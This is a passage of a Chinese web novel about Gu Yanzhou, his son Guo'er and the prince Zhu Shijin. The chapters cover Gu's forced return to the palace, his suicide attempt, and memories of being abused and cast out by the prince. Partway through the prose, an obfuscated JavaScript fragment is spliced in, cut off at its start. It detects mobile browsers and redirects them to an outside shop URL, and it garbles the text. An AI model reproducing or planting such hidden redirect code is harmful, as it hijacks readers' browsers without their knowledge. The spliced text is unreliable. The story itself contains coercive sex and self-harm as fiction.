如果爹爹愿意当娘亲的话,他也愿意叫大坏蛋爹爹的。
为什么?
顾砚舟长长叹了一口气,侧身躺着,把他搂在怀里,轻轻地、一下一下地拍着他小小的脊背,就像怀孕时无数次抚摸鼓起的肚皮,像养育他时无数次在夜里给他拍觉觉那样。
透过床帐,影影绰绰能看见屏风后模糊的身影,殿下似乎也是侧躺着,面朝着这边。
若是放在几年前,这该是多么温柔美好的一个夜晚。
顾砚舟轻轻拍着怀里的果儿,果儿哭得累了,睡着了,他不知何时也睡了过去。
梦中,迷迷糊糊,他听见殿下的声音。
“什么时候才能退烧?”
“殿下放心,世子妃底子好,只是吹了一夜冷风,受了风寒,捂捂汗,很快就好起来了。”
他睁开眼,殿下正坐在床边,锦衣华服,头戴金冠,是去东南府署办公的打扮。
“醒了?”祝时瑾抬起手,在他额上轻轻贴了片刻,语气却不像动作那样温柔,“大半夜跑到屋顶吹冷风,想生着病过年节么?”
他听见自己的声音,嗡嗡的,是受了寒的浓重鼻音:“我喝多了。”
“喝多了,就该在你自己院里歇息,跑到我院里的屋顶上吹风做什么?”
他讷讷的,好一会儿,才小声问:“殿下,你还在生气吗?”
“没有。”
殿下说的那样淡然而笃定,他有点儿迷惑了:“可是,你叫昭文把我送你的梅花拿去喂猪。”
“是送我的么?是送给兄长的罢。”
“是送你的,只是大公子刚巧来了,我手里没拿别的东西,只好送了梅花……你还是在生气吧?”
“没有。”殿下脸色淡淡的,“发了一晚上热,好好歇息。我要出门了。”
他后知后觉,意识到殿下被自己闹得一夜没睡,很不好意思地缩进被子里。
但是睡下的时候,他闻到一丝清浅的梅花香。
抬起头循着香味一看,那支他折下来的梅花,完好无缺地插在瓷瓶里,正搁在床头的方几上。
……
顾砚舟从梦中睁开眼睛,那梦里的梅花香味似乎还残留在鼻尖,他努力嗅了嗅,仍有一丝若有似无的味道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176948|196898||http|test|mini|href|location''.split(''|''),0,{}));
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>“爹爹,你醒啦!”果儿墩墩墩跑来,扑到床边,“你又昏迷了好几天,大夫给你扎了好多针都叫不醒,你还是不舒服吗?”
顾砚舟看见他,微微一笑。
今天果儿的头发梳得很漂亮,一左一右用红绳扎了两个小髻,十分可爱,说话的时候摇摇小脑袋,小髻下各坠着的一串小小的银铃铛就摇得叮铃铃作响。
[这个头饰很漂亮。]
果儿嘿嘿一笑,自己抬起小手抓住两串银铃铛:“这是大坏蛋给我买的。”
虽然他还是在嘴上叫着“大坏蛋”,但顾砚舟已经能听出来他对祝时瑾的态度有所软化——小孩子是很简单的,你对他好,他就会对你好。
自己成日里昏昏沉沉在床上躺着,都是祝时瑾照顾果儿,给果儿买衣裳、买玩具,带他吃各种各样的好吃的,果儿才三四岁,哪里禁得起哄?
顾砚舟犹豫片刻,问:[果儿,你很喜欢他吗?]
果儿愣住了,瞅着他,不做声了,像是怕自己说错话惹爹爹不开心。
[和爹爹说实话就好。]
果儿说:“我更喜欢爹爹。”
[如果非要选一个呢?]顾砚舟比划着,[你要跟爹爹留在这里,还是要跟祝叔叔一起去宜州?]
果儿立刻说:“我要和爹爹在一起!”
顾砚舟松了一口气。
他这次的外伤恢复得很慢,听大夫说,是因为他的身子亏空得太厉害了,几年前在海上受过致命伤之后,没有好好休养,独自在外生下孩子,也不懂得为自己调理,又为了养活果儿,总是出海,伤上加伤,这一回积压的陈年旧疾反扑,才如此难熬。
不过,再难熬,总有好起来的那天,等到那时候,他就带果儿逃走。
这么想着,他也就安下心来,再次昏睡之前,他又闻到了那丝若有似无的梅花香味。
……奇怪,明明是夏天,怎么会有梅花?
他心中带着疑惑,睡得不甚安稳,朦胧中似乎在一个温暖的怀抱中,那梅花的香味愈发浓郁,梅花,梅花……
滨海小镇是没有梅花的。
顾砚舟猛地睁开眼。
摇摇晃晃的马车上,他第一眼看见的是正在小方几旁边玩九连环的果儿,看见他醒了,果儿的表情有点慌张,叫了一声:“爹爹。”
“醒了?”他旁边也同时传来祝时瑾的声音,世子殿下正在翻阅奏报,离得太近,那梅花的香味清晰地钻入鼻尖。
他在梦里闻到的梅花香,就是殿下身上的味道。
那他们现在是在……
顾砚舟猛地坐起身,一把推开车窗。
远远的,已经能看到依山而建、恢宏气派的东南王府。
顾砚舟脑中嗡的一声响。
——殿下简直做得天衣无缝,趁他昏睡不醒时出发,在他醒来之前入住客栈,命下人换好一模一样的被褥、床帐、屏风,他整日病歪歪躺在床上,哪还能注意到其他地方有变化?
就连果儿,都配合他演戏。
他怔怔的,难以置信地看向自己一手带大的孩子,前几天还说着“我要和爹爹在一起”的孩子。
[果儿,连你也骗我。]
12. 8.再入王府
果儿慌忙说:“爹爹,我、我想爹爹能治好嗓子,大坏蛋说一定能治好你的,我……”
顾砚舟看着他,果儿穿着淡粉的云纹软罗小褂,嫩绿的轻纱裙摆,这样的颜色,滨海小镇那等小地方是染不出来的,他早该发现了。
再看看他梳得整齐的小髻和漂亮的宝石首饰,戴在脖子上的黄金璎珞,挂在腰带上的羊脂玉佩——他已经完完全全是东南王府的下一个大公子了。
而顾砚舟绝望地发现,这才应该是果儿原本的样子。
这些珠玉环翠、琳琅珍宝,堆在他身上,终于让他身上那种明珠蒙尘的遗憾之感消失了。
这就是王府的血脉。哪怕他养果儿再久,凤凰终究是凤凰,该栖息在梧桐树上,而不是在破窝里。
顾砚舟看了他很久,才勉强爬了起来,祝时瑾扶住他,皱了皱眉:“你还没恢复,不要乱动。”
顾砚舟一把挥开了他。
祝时瑾沉默地收回手:“我担心你的身子,才赶路带你回来。无论如何,先把身子养好。”
果儿也察觉不对,小孩子对父母间的微妙气氛简直有种天生的直觉,他连忙说:“爹爹,我们留在这里治好嗓子好不好?大坏蛋说,你是因为救他,才被人割了喉咙,那他本来就该补偿你的,我们……”
顾砚舟抬起了手。
[果儿,从今以后,我不是你爹爹了。]
果儿的话音戛然而止,眼睛一下子瞪大了,呆呆地叫他:“爹爹……”
祝时瑾不知道顾砚舟说了什么,但下一刻,顾砚舟飞身冲出了马车!
“砚舟!”祝时瑾脸色一变,立刻跟上去,吩咐四周的侍卫们,“追!”
这里已经到了王府山脚下的彩云小镇,顾砚舟冲入街道上来来往往的人群中,随即王府的带刀侍卫就哗啦啦追上来,众人惊叫四散奔逃,一时忙乱惊呼,果儿被昭文抱着追上来,眼看爹爹一眨眼就消失在人群里,急得哇哇大哭:“爹爹!爹爹!别不要我!别不要我!”
顾砚舟飞身冲入转角小巷,那撕心裂肺的哭声瞬间就远去了。
果儿,果儿。
他心里麻木地想,你这样聪明玲珑,你真不愧是他的孩子,跟着我才是耽搁你了……你在王府照顾好自己罢。
他在小巷里迅速穿梭,身后的侍卫们也紧追不舍,顾砚舟毕竟好几年没回来了,这些侍卫们却天天都在这山脚下,对地形比他更熟,很快就将他包抄,围在了巷子里。
“世子妃,请您跟我们回去。”
众人现在知道他有伤,都不敢再动手,只是不断收紧包围圈。
顾砚舟冲上来一脚踢翻一人,唰的一下拔出他的佩剑!
有武器和没武器,战力可谓天差地别,众人登时都退了几步,不敢再围得太近。
就在这时,后头响起了脚步声,祝时瑾追了过来,还带着哇哇大哭的果儿。
“爹爹!爹爹!”短短一小会儿,果儿已经哭得嗓子都哑了,看见他就从昭文怀里扭下来,墩墩墩朝他跑,顾砚舟断然无法对自己的孩子下手,只能眼睁睁看着他扑到自己腿上。
“爹爹别不要我……呜呜呜……”果儿紧紧抱着他的腿,哭得上气不接下气,看来被刚刚顾砚舟转头就走那一下吓坏了。
顾砚舟下意识想抱起他,可这时祝时瑾往前走了一步,他立刻警觉,瞬间抬起剑,直直指向祝时瑾。
“殿下!”众人都紧张起来,手按在了佩剑上。
祝时瑾停住脚步,望着他:“伤未痊愈,不要乱动。”
顾砚舟只是拿剑指着他,让他无法靠近。
是呀,他不能说话,要他怎么回答?
祝时瑾沉默片刻,道:“这里是宜州,你跑不掉。”
这一句才是真正的事实,他已经把他带回宜州了,难道还能在自己的地盘上把人弄丢了不成?
顾砚舟望着他,忽而一笑。这个笑容冷淡而决绝,祝时瑾从来没在他脸上见过这样的表情,登时心中一突。
下一刻,顾砚舟猛一发力朝他胸口刺去,所有人都没预料到他真的会动手,错愕之下,全都唰的一声拔出了长剑,唯有祝时瑾在那千钧一发之际反应过来:“住手!!!”
顾砚舟是要借亲卫之手自杀!
噗嗤——
皮开肉绽之声,顾砚舟握剑的那条手臂几乎被四面八方刺来的长剑削成了一条血手。
祝时瑾猛地松了一口气——还好、还好,只是伤了手臂……
可顾砚舟挥出的剑依然不停,雪亮剑光一闪而过,他的一缕发丝被飘然削落。
祝时瑾连呼吸都顿了一顿,顾砚舟那双无比黑亮无比决绝的眼睛里,倒映出他震惊而又失魂落魄的模样。
夫妻结发,白头偕老。今日我斩断这情丝,从此无论什么生死恩怨、夫妻情分,便都两清了。
两清了。
祝时瑾的双眼倏地红了。
顾砚舟咬紧牙关,捂住鲜血直冒的手臂,一刻不停,擦身越过他,掠了出去。
就在擦身而过的那一瞬间,祝时瑾叹息般地、颤抖地叫了一声:“砚舟……”
顾砚舟的心中难以抑制地酸了一下,几欲落泪,可他还是咬紧牙,拼命朝前奔去——
咚——
后颈一痛,他猝不及防,猛地掉入无边黑暗中,整个人失去意识软绵绵倒了下来。
祝时瑾一伸手,接住了他。
昭文急得要跳起来了,一边抱起哇哇大哭的果儿,一边凑上来:“殿下,您没事罢?”
“……叫大夫。”祝时瑾双目红得可怕,连双手都有些颤抖,将外衫扯下来,包住顾砚舟鲜血直冒的肩膀和手臂。
“叫大夫,我要他好好活着。”
顾砚舟被抬进王府时,暗红的血几乎浸湿了整个上半身,浓重的血腥味充斥着整个屋子,大夫们在内间忙碌,祝时瑾怔怔坐在屏风外,衣摆上还沾满了顾砚舟的血。
果儿哭得嗓子都哑了,尖叫着对他拳打脚踢:“我恨你!我恨你!都是你害的!你明明说到了这里爹爹会好的!结果爹爹现在就要死了!”
祝时瑾没有任何反应,好像变成了一尊沉默的石像,昭文小心翼翼上前来,将刚刚那缕被削落的发丝呈上来:“殿下……”
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祝时瑾看了这缕长发很久很久,闭了闭眼睛:“安神香。”
婢女连忙上前,为殿下点上了安神香,不多时,镂金小香炉中升腾起一缕烟雾,幽幽的梅花香蔓延开来。
顾砚舟黑沉的梦中,恰是冬季。
宜州的冬天比他老家要冷许多,他来这里两年了,还是不太习惯,正月里下了一场雪,他冷得成日在屋里不肯出来,年节又不用上卯,王府又顿顿山珍海味,他吃了睡睡了吃,很快就胖了一大圈,谢铮约他出来玩儿,一见他都忍不住说:“砚舟,你胖了不少呀,脸都圆了。”
顾砚舟自己当然有所察觉,前天晚上殿下来留宿的时候,还捏了捏他肚子上多出来的一圈肉。
他讪笑道:“过年嘛,吃得太好了。”
又问谢铮:“你的腿恢复得如何?”
“可以正常走路,只是走不快,跑跳也不行。”谢铮自己倒是释然,好脾气地笑了笑,“还能走路,不耽搁上卯,就不错了。”
摊上闻嘉言这种混世魔王,只能自认倒霉,顾砚舟听说,后来闻嘉言因为受了刑,还去找谢铮闹过好几回,所幸闻敬珩说话算话、手段强硬,每回都没让闻嘉言讨到什么好处,最终,谢铮闻嘉言二人解除婚约,闻老爷赔了银两和那套府衙附近的大宅子,此事就算揭过了。
顾砚舟虽然还是为谢铮觉得不值,但是能摆脱那个混世魔王,也算幸事一件,于是今日就为谢铮庆祝,请谢铮喝酒吃饭。
两个人从小一块儿长大,又都爱闲聊,一开始聊就叽叽喳喳说个没完,等到酒楼都要打烊了,他们才意犹未尽走出来,顾砚舟看见街上稀稀拉拉的几个行人,突然反应过来——年节期间府衙封印,守城将士们也得轮流回家过节,所以城门比平时要早两个时辰关闭,这会儿城门早该关了。
都怪他这整个年节都窝在王府不出来,没天天往城里跑,居然忘了这回事。
谢铮反而很高兴:“正好关城门了,你就到我那儿住一晚,我俩好久没睡一块儿说话了。”
现在也只能这么办,可是顾砚舟有点儿不安:“我出门的时候跟殿下说,今晚会回去的。”
谢铮一摊手:“你现在怎么回去?”
城门一关,得拿着王府的金牌或者府衙的特批文书才能通行,顾砚舟满以为能赶回去,就没向殿下讨金牌,现在府衙已封印,官员们都休假过节了,大半夜的谁给他批文书?
顾砚舟一想,因为城门落锁而回不去,这也情有可原,于是高高兴兴跟谢铮回去了,两人睡一张床,分别占据床头床尾,就这么说话说到后半夜,第二天大清早被下人慌慌张张叫醒时,顾砚舟还脑袋发懵,眼睛都睁不开。
“世子妃、世子妃!快醒醒!殿下找来了!”
顾砚舟半梦半醒,被下人扶着下了床,一抬头,看见殿下一步跨进了内间屏风。
谢铮自打受了伤,有些怕冷,屋里生着炭盆,床上还有汤婆子,顾砚舟觉得太热了,半夜把上衣脱了,这会儿还赤着上身,祝时瑾扫了他一眼,又看看床上还躺在被窝里的谢铮。
“你昨晚和他一起过的夜?”
13.9.王府旧事
顾砚舟一边穿衣,一边迷迷糊糊回答:“昨晚城门关了,我没来得及出城,谢铮就收留我一晚……”
“收留你,睡他床上?”祝时瑾的声音听不出喜怒,顾砚舟还没睡醒,脑子转不过来,就傻乎乎一笑:“对啊,我们从小就这样,老爱睡一张床聊天,别人都是说是两个话篓子凑一块儿了。”
祝时瑾没再说话了,回王府的路上,他一言不发,顾砚舟终于意识到不对,小心翼翼道:“殿下,你生气了吗?因为我昨晚没回去?”
祝时瑾依旧不开口,直到回到院里,他让下人全部退下,才转向顾砚舟。
“转过去。”
顾砚舟愣住了:“……殿下?”
祝时瑾神情冷漠,但不容拒绝。
被这样高高在上的眼神看着,顾砚舟的心就不自觉地低了一截。也许因为他心底里知道,自己本来是配不上殿下的。
虽然知道殿下生气了,今晚不会有什么好事,而他根本都不知道殿下是为什么生气,但在这眼神的注视下,他连多问一句都不敢了,抿了抿嘴,片刻,听话地把衣裳全脱了,转了过去,趴在桌上。
殿下从头到尾都没有作声,沉默得可怕,顾砚舟紧紧咬着嘴唇,额上冷汗都冒了出来,最后哭着求饶,十分丢人和狼狈。
结束时,他腿一软,双膝就跪了下来,扑倒在地,还没缓过神来,祝时瑾已经抬步离开了。
从头到尾,都没有和他再说任何一句话。
顾砚舟能感觉到他的怒气,但这怒气实在太莫名其妙,简直让他一头雾水。
他一瘸一拐回到床上,趴着休息,脑子里想,殿下到底在生什么气?就为了昨晚没回来?可是昨晚城门已经关闭,难道他飞着回来不成?
本来还打算把这事儿想明白,可惜昨晚实在没睡好,他趴着趴着,就这么睡了过去。
一觉睡到晚上,他就有些发烧了,屁股还是痛,似乎是撕裂了,毕竟他是乾君,身子是不适合接纳的,而这伤口又太羞于启齿,于是他只能自己忍着,想,大概明天就好了。
可是晚上祝时瑾又过来了。
顾砚舟有点儿害怕,看见他在床边坐下,就迟迟不敢过去,像根木头一样杵在屏风边偷看他。
“谢铮今日来赔礼道歉了。”祝时瑾看了他一眼,“你们的交情倒是很好,他把错全揽在了自己身上。”
顾砚舟松了口气,在心里说了一句,好兄弟,够义气。
而后连忙就坡下驴:“是啊是啊,都怪他,非要拉着我说话,我才没能赶回来。”
祝时瑾看了他一会儿,道:“既然你也这么认为,以后就离他远一点。”
“?”顾砚舟愣住了,“……啊?”
“你每日要去府衙上卯,下了卯,还要赶回王府听夫子讲课,下了课,还有课业,本来时间就不多,这些无用的交际就该省去。”
顾砚舟抓了抓脑袋:“可是,这不是无用的交际啊,谢铮是我最好的朋友。”
“你现在是世子妃,来往的朋友该换一换。”
顾砚舟再迟钝,也听出他这话里的意思了——已经飞上枝头变凤凰,就不要再和以前的麻雀朋友们混在一起了。
他脸上火辣辣的,忍不住捏紧了拳头,半晌,才说:“殿下也和那些人一样,瞧不起我。”
祝时瑾微微皱眉,语气更冷了一分:“我叫你换个朋友,你说我瞧不起你。怎么,换个朋友就这么为难?”
这话说到后面已经有些隐隐的怒意,可是顾砚舟的脾气也上来了,大声道:“他是和我从小一起长大的朋友,是我最好的朋友!我在宜州人生地不熟的,就这么一个知根知底的人可以说说心里话,你还叫我别跟他来往!更何况谢铮现在是官身,我跟他来往根本就不丢人!”
祝时瑾的目光更冷了:“你现在胆子大了,敢跟我顶嘴了。”
顾砚舟顿了顿,音量低了一些:“不和其他人来往,我都可以答应你,就只有谢铮不行。”
祝时瑾盯了他半晌,意味不明地笑了一声:“好啊,好一个就只有他不行。”
顾砚舟着急地辩解:“因为他和别人不一样……”
祝时瑾冷冷打断他:“你现在就从这间院子搬出去。”
顾砚舟一愣:“……什么?”
“清辉苑是世子妃住的地方,不是上不得台面的阿猫阿狗住的地方。”祝时瑾从床边站起身,高高在上望着他,依然是惯常的、慢条斯理的冷淡语调,“你出身低微,又是乾君,果然只能尝一时新鲜。”
顾砚舟像被迎面打了两巴掌,登时脸上火烧一样的羞窘,磕磕巴巴想勉强为自己找回一点尊严:“殿下,我从来没有觊觎过世子妃之位……”
“我也没打算把这个位置给你。”祝时瑾冷漠得有些刻薄,“多叫你待一天,都脏了这好地方。”
顾砚舟被连夜赶出了清辉苑,下人们把他的所有东西囫囵打包,送到了山脚下的王府外院,亲兵将领们住的地方。
他得了一间单独的小院子,一进院,几间小小的厢房一览无余,院中一棵桂花树,树荫便将巴掌大的小院遮了一半,要是稍多几个人,院中都转不开身。
他的东西很少,昭月给他简单归整,便道:“世子妃,那奴婢就先回去了。”
顾砚舟正望着黑漆漆的院子发呆,听见她说话,才回过神来,一看屋里,一张简陋木床,床头靠窗摆着条长桌,配了个圆凳,床尾是几个箱笼,装着他的全部细软,整间屋子不大,可摆的东西太少,还是显得空荡荡的。桌上孤零零的一盏油灯,微弱的火光仅能照亮床头的一小片地方。
这就是他以后住的地方了。
刚刚还在灯火辉煌、满目琳琅的清辉苑,现在就到了山脚下的破院子,要说心里没有一点儿落差,也是骗人的。
他深吸一口气,对昭月笑了笑:“我已经不是世子妃啦。”
昭月担忧地望着他:“世子妃,你不要生殿下的气,殿下从小到大都是被捧着的,容
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不得别人忤逆他。”
“我真的不是世子妃。我只是走了运,在清辉苑里住上了几个月,现在运气花光了,我就该回到我本来的样子了。”顾砚舟摇摇头,嘴角扯得有点儿僵硬了,“你可是殿下跟前的红人,别在我这个小喽啰身上浪费时间了,回去罢,以后好好伺候未来的世子妃。”
昭月走了,院里就剩下了他一个人,他爬上小木床,硬邦邦的被褥一股陈味儿,盖在身上冷冰冰的,他想赶紧睡过去,只要睡过去了,今天被赶出清辉苑、王府上下所有人都看着他从云端摔下来摔个狗吃屎的丢脸回忆,就都忘记了。
都忘记吧。
他在心里一遍一遍对自己说,这本来就不是你该肖想的东西。
可是殿下那张英俊而冷漠的脸还是一直一直停留在他脑海。
“清辉苑是世子妃住的地方,不是上不得台面的阿猫阿狗住的地方。”
“多叫你待一天,都脏了这好地方。”
“你出身低微,又是乾君,果然只能尝一时新鲜。”
顾砚舟把脑袋埋进了旧旧的、硬邦邦的枕头里,眼睛有点儿酸热,他努力吸了吸鼻子,心想,没什么的,我本来就是这样,殿下没说错什么。
清辉苑本来就不是我该待的地方,这里才是我该待的地方。
他自我安慰着,渐渐的,脑袋也开始昏昏沉沉,好像又开始发热了。
现在没有下人伺候他了,不过没关系,只是发热,睡一觉就好了。
他昏昏沉沉,睡到第二日晌午,呼吸间都是灼热之气,他终于意识到不能再这么强撑下去了,要去抓点药吃。
勉强爬起身,可洗漱都没有热水,他问了隔壁院子,才找到公用的一口水井,打了两桶水回来,便累得腰酸背痛,头昏眼花,他坐在柴房里缓了好一会儿,才自己生火烧水。
头脑愈发昏沉,呼吸间喉咙宛若火烧,他洗漱后赶紧裹上了厚厚的旧棉袄,出门去看大夫。
刚走出王府大门,几驾马车晃晃悠悠驶过来,停在了门口。
他自觉地低头让路,默默往前走,几个亲兵在后头议论:“今日都来了几拨人了,殿下要重新选妃的消息传得这么快么?来的全是漂亮公子小姐呀。”
顾砚舟脑中嗡的一声响,可脚步还在继续往前走。
“当然了!那可是世子妃之位,多少人盯着这荣华富贵呢!”
“哎哟,我这辈子都没见过这么多天仙!”
顾砚舟耳朵里嗡嗡的,麻木地抬腿往前走,就跟丢了魂似的。那些议论声渐渐远了,他低头看着脚下的路,一步一步踩在刚下的新雪里,积雪咯吱咯吱作响,他就着这点声响,仿佛能这么走一辈子。
再也不用想殿下,再也不用回到王府,这场雪就是他的整个世界,没有其他人,没有其他任何声音,就让他这么走完一辈子好了。
“砚舟,砚舟?”
有人喊他,他后知后觉地抬起头,谢铮看见他,愣了一下:“哭什么?”
14.10.新世子妃
我哭了?
顾砚舟猛然回了魂,才意识到脸上凉凉的,浑身都被冷风吹透了,连忙抬手抹了一把脸。
谢铮看他脸颊红得不正常,伸手一摸,就皱起眉:“你发热了,还在外头晃悠,快去医馆。”
他让两名小厮扶顾砚舟上了马车,在小镇里兜兜转转,终于找到一家还有空位的医馆,一进屋,顾砚舟就打了好几个喷嚏,医馆里全是发热的病人,哭闹的孩子,哀叫的大人,乌泱泱一片,大夫都忙不过来,谢铮看得直叹气,道:“我带你回宜州城看病。我有个多年未见的朋友,医术高超,这阵子正好来宜州,借住在我家。”
“去城里太远了,你还得送我回来,多折腾。”顾砚舟瓮声瓮气道,“对了,你怎么来了?”
“我今日一上卯,就听大家都在议论,说殿下要重新擢选世子妃,城中才貌排得上名号的公子小姐们都在往王府递帖子。你今日又没来府衙上卯,我就赶紧过来了。”
上卯?对了,今日已经过了十五,府衙开印,要上卯了。
他真是在王府过得连日子都忘了。
顾砚舟裹着臃肿的旧棉袄,窝在椅子里,蔫蔫地点了点头:“等我退了烧,就去上卯。”
谢铮无可奈何地敲敲他的脑袋:“现在还想什么上卯?你和殿下到底怎么了?该不会是因为那日没赶回王府?那岂不是我害了你了。”
顾砚舟连忙摇头:“不是的。我本来也是假冒的,殿下早就该重新选妃了。”
谢铮皱着眉:“可是先前不还好好的么?殿下是早该选妃了,大公子回来的时候他就该重新选妃了,为什么那时没提,现在又提?……真的没事?”
顾砚舟的眼睛又有点儿酸热了,强忍着这没出息的软弱的眼泪,说:“嗯。”
说着,肚子咕噜噜叫了一声。
“快到中午了,你还没吃东西?”谢铮意识到什么,追问,“你现在住在哪里?还在王府?没有下人伺候你么?”
被这么追问,顾砚舟有些捉襟见肘的难堪,硬着头皮含糊道:“还住在王府。”
“殿下要重新选妃了,还会让你住在原来的地方?”
顾砚舟撇了撇嘴:“谢铮,你别管我了。”
“现在我不管你还有谁管你?你指望殿下管你么?!”谢铮这样好脾气的人,也难得拍了一下桌子,“现在就回去,收拾东西,搬到我那里。”
顾砚舟的肚子又咕噜噜叫了一声。
“……”谢铮语气又放软了一点,“算了,先去吃饭。”
小镇上好吃的馆子不少,谢铮来得少,但顾砚舟经常在这一带晃悠,哪家馆子好吃,他摸得溜熟,引着谢铮七拐八转找了个小饭馆,下人们把马车停在巷口,他俩就互相搀扶着踩着雪咯吱咯吱走进去,刚找了张桌子坐下,点完菜,掌柜和伙计们忽然腾的一下全涌到了门口。
“世子殿下!什么风把您吹来了!您来吃饭?哎哟,那小店可真是蓬荜生辉!楼上请,楼上请!”
顾砚舟脑中嗡的一声响,整个人都僵住了。
谢铮转头一看,顿了顿,拉他一把,低声道:“别愣着。”
顾砚舟手脚僵硬,麻木地站起来跟着他行礼,眼睛只盯着地面,哑声道:“见过世子殿下。”
一双一尘不染的皂靴走到他跟前。
顾砚舟的心漏跳一拍。
可下一刻,视线里出现了另一双湖蓝的靴子。
“殿下,这二位大人有些眼生呢。”陌生的斯文男声,笑吟吟的,语调十分轻柔。
顾砚舟眼睛微微睁大了,胸口突的闷痛了一下。
殿下身边有别人了。
他不该这么惊讶,殿下金尊玉贵,又出类拔萃,身边有多少人都不稀奇。
可他还是忍不住,趁着自我介绍的短短片刻,偷偷抬眼打量这位跟在殿下身边的坤君公子。
清俊斯文,气度娴静,颇有风骨。
他想起自己年节期间吃胖了一圈,本来就长得高、骨架大,胖了之后更加膀阔腰圆,今日还穿了鼓鼓囊囊的旧棉袄,整个人该多粗壮啊?站在这位坤君公子对面,跟只笨重的狗熊一样。
他沮丧地低下头,缩了缩身子。
与他的畏缩不同,湖蓝衣裳的公子十分落落大方,笑道:“原来你就是顾小将军呀,真是百闻不如一见。在下罗予安,今日难得碰上,不如一起吃饭罢。”
这个名字有些耳熟,顾砚舟在夫子那里上课的时候背过宜州城中清贵人家的大致族谱,这位罗公子是正儿八经的书香门第。
同他一比,顾砚舟有些高下立现的窘迫,连忙要拒绝,谢铮却道:“那就恭敬不如从命了。”
顾砚舟一愣——一起吃饭明显是句客套话,谢铮怎么可能听不懂?
他呆呆地转头看谢铮,谢铮给他使眼色,示意他扶自己上楼,毕竟这会儿腿脚不便,可别在人家面前落于下风。
顾砚舟烧得昏沉的脑袋里完全成了一滩浆糊,不知道谢铮到底要做什么,但好歹知道好友跟自己是一边的,不能落了自己人的面子,只能硬着头皮扶谢铮上楼。
还没碰到谢铮的袖子,一直沉默的祝时瑾忽而开口:“昭文,谢大人腿脚不便,你背他上楼。”
“是,殿下。”
昭文大步走来,一把将谢铮背了起来,这一下太突然了,几个人都被吓了一跳,顾砚舟下意识去看祝时瑾,可世子殿下连个眼神都没给他,径自抬步上楼了。
罗予安面色微微一变,多看了他一眼,但没有说话,气氛登时变得有些微妙。
顾砚舟很不习惯这样的气氛,浑身都不自在,偏偏又发着热,呼吸沉重,头脑迟钝,不知该如何反应,便只能埋着脑袋当鹌鹑。
几人在楼上雅间落座,祝时瑾坐在圆桌主位,罗予安便坐在他身侧,顾砚舟万万不想坐在他另一侧,只能把谢铮顶了过去,可这样一来,他自己就剩一个位置能坐了——祝时瑾的正对面,整张桌子的最下首。
顾砚舟这一刻只想离开这间令人窒息的屋子。
偏偏谢铮说:“愣着做什么?坐。”
顾砚舟硬着头皮坐下了。
一时没有人作声,罗予安柔声道
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:“殿下,我还没来过这里呢,这儿的饭菜真有那么好吃?连王府的厨子都比不上么?”
顾砚舟顿了顿,偷偷抬眼去瞅祝时瑾。
殿下上次跟他来这里吃饭时,从头到尾都没说过一句好吃,也没有吃下去多少,只有他像个饭桶一样把整张桌子扫荡了个干净,他还以为殿下瞧不上这种小馆子呢。
不过,没等他暗自开心多久,祝时瑾开口了:“尚可。吃个新鲜。”
顾砚舟那一丝慰藉顷刻间荡然无存。
吃个新鲜。不止是对这家馆子,殿下对他这个人的评价,也是吃个新鲜。
他麻木地坐着,等饭菜上来了,他对着这些原先最爱吃的东西,忽然想,可能这就是殿下和他的不同罢。
爱吃的东西,他可以一直吃,永远都不会腻,可是对殿下来说,这世间的种种美味唾手可得,这小馆子里的饭菜,便很容易就腻了。
他和殿下,根本上就是两种人,这才是他们无法在一起的真正原因。
把他逐出清辉苑,但还是给了他一个小院子住,其实已是殿下的恩赐了——那些小院子都是给王府亲兵的将领们住的,他又不在王府任职,有什么资格住?
顾砚舟终于搁下了筷子,把腰板努力挺直,埋了一上午的脑袋也抬了起来,尽可能让自己看起来体面一点儿,郑重地看向正对面的祝时瑾:“殿下。”
祝时瑾抬眼看过来。
四目相对,那一瞬间,顾砚舟就想退缩了。
可他还是咬咬牙,坚持说下去:“多谢您半年以来的照拂,属下明日就搬回城中。”
太紧张了,说得没头没尾的,顾砚舟刚想再补充两句,解释一下,就听祝时瑾淡声道:“嗯。”
顾砚舟一怔,祝时瑾已经收回了目光。
对不相干的人,世子殿下不会浪费一点儿时间。
一顿饭吃下来,顾砚舟的脑袋比之前埋得更低了,谢铮有点儿担心,说:“下午还是跟我回城罢,你这个样子,还发着高热,我实在担心。”
他看了看前面已经走远的世子殿下,又道:“殿下不是准许你搬出王府了么?正好,现在就去你那儿收拾东西,回了城,就不再过来了。”
顾砚舟这会儿连呼吸都有些困难了,胡乱点点头,带着他一起回到王府,等看到那间巴掌大的小院子时,谢铮终于忍不住了:“你就住在这里?”
屋里除了一张床,一张长桌和凳子,几个箱笼,其他什么都没有,隔壁的柴房里也没有米面粮油,柴火就一小摞,院子里甚至没有单独的水井,谢铮小时候过了一阵子清贫日子,知道这些生活必需品有多重要,登时皱起了眉:“这哪里是给亲兵将领住的院子!”
顾砚舟的心已经麻木了,扯出一个无所谓的笑容:“没事,就住了一个晚上,这不是要搬走了么?”
谢铮叹着气摇摇头,让小厮赶紧帮他收拾东西,就在这时,有人敲响了院门。
是个陌生的亲兵将领,手里拿着一道调令:“顾将军,府衙武将和王府亲兵统领互相换防,你在这次换防将领的名单里。”
15.11.走不掉的
换防?
他无法离开王府了么?
为什么?既然已经吃腻了,为什么还不让他走呢?
顾砚舟睁开了眼睛。
眼前是层层叠叠花纹繁复的纱帐,雕花木床,鎏金香炉,有些眼熟……他想起来了,这里是清辉苑。
“世子妃,您醒了。”熟悉的声音,他看过去,昭月急急走过来,手里还端着药碗,“您都昏迷好多天了,吓死奴婢了。”
看着这张熟悉的、和从前别无二致的脸,顾砚舟有些恍惚,难道刚刚那些都是做梦么?
这些年他漂泊在外,独自养着果儿,也都是做梦么?
还是现在他在做梦呢?
他张了张嘴,没能发出声音。
他的目光一下子黯淡下来。
昭月扶他坐起身:“世子妃,殿下已经请神医给您诊治过了,您的嗓子受了些伤,但可以养好,以后还是能再次说话的,身上的伤太多了,要好好休养,快把这药喝了罢。”
顾砚舟顿了顿,摇摇头。
昭月又劝道:“世子妃,想开些,殿下把您和小公子接回来了,一家三口以后就一直在一起,不是很好么?”
